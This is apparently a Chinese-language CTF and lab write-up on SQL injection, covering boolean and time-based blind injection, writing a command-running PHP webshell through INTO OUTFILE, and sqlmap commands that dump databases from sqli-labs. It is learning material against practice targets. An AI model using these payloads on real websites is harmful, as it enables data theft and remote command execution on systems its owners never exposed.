布尔盲注实例
以ctf_show第四关为例。
按下F12,获得一个get请求的api,打开postman。
能够得到对应的json,说明是一个api。
这里id=1’and 1=2– -正常回显结果为空,id=1’and 1=1– -正常回显显示id=1的结果。闭合之后再去进行测试,否则就会报错。
查询数据库开头第一个字母是不是r。
这里直接用大于,小于进行判断第一个首字母。
直接换成昨天写好的布尔盲注的脚本,url换成该题目的api。
因为输入id=1结果会出现admin,在if这里可以输入admin。
输出结果正常
之后就去各个去爆就好了,爆表,爆字段这些:
flag结果展示:
运行与调试
可以查看到每一步代码的运行过程。
时间盲注(睡眠盲注)
发现不管输入什么都是直接显示。
1 | id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -#三元运算,第一个表示条件,第二个1表示成功的时候,sleep(5)表示失败就休息 |
可以看到当=115时马上就显示
可以看到当=114时一直处于加载状态,之后才出现结果。
直接用时间盲注的脚本。
时延盲注1.py
控制网站
?id=-1’ union select 1,@@datadir,3– -显示phpstudy的网站根目录。
secure_file_priv=””将这段代码放入my.ini的[client]的上一行。这个文本的位置在phpstudy的设置中,点击配置文件,mysql.ini。
之后输入这段代码:
?id=-1’ union select 1,@@datadir,@@secure_file_priv – -,password这里显示为空说明可以注入,在没有这个secure_file_priv=””时password显示的是NULL。NULL代表不能在任何地方注入文件。
?id=-1’ union select 1,@@datadir,”“ into outfile “C:\phpstudy_pro\WWW\phpinfo.php” – -
此时在www的根目录下产生了phpinfo.php。
?id=-1’ union select 1,@@datadir,”“ into outfile “C:\phpstudy_pro\WWW\tfk.php” – -#在windows中用//表示/。第一个/表示转义符,两个/才能表示本身的含义。system表示系统命令执行函数,这个函数通过get参数进行执行,创造了一个webshell后台。
打开网站输入?a=dir
打开网站输入?a=whoami
打开网站输入?a=systeminfo输出系统的基本信息
sqlmap的使用
sqlmap的使用
1.下载sqlmap的压缩包,附件如下
sqlmap-1.7.zip
2.在解压缩后的sqlmap文件夹的路径下输入cmd,进入命令行模式。
3.输入sqlmap -h
可以查看sqlmap的帮助信息和参数列表,以便正确使用该工具执行各种SQL注入测试和攻击。
4.因为主机上执行sqlmap命令时产生了奇怪的报错,转用虚拟机。以sqli的第一关为例,保证虚拟机win10hei和kali都是桥接模式,保证他俩的IP地址在同一网段。在kali的命令行输入爆库命令 sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --dbs
,得到库名。注意192.168.2.118是win10hei的IP地址。
5.输入爆表命令:sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security --tables
6.输入爆字段名命令sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security -T users --columns
7.输入爆字段命令sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security -T users -C "id,username" --dump
post请求:
以第11关为例:
打开yakit免配置启动。
输入虚拟机的ip地址进入第11关。
用yakit进行抓包发送到web fuzzer
将1.txt保存下来存在sqlmap的上一级目录中
输入命令:
1 | python sqlmap.py -r "../1.txt" --dbs --batch |
此时爆出数据库。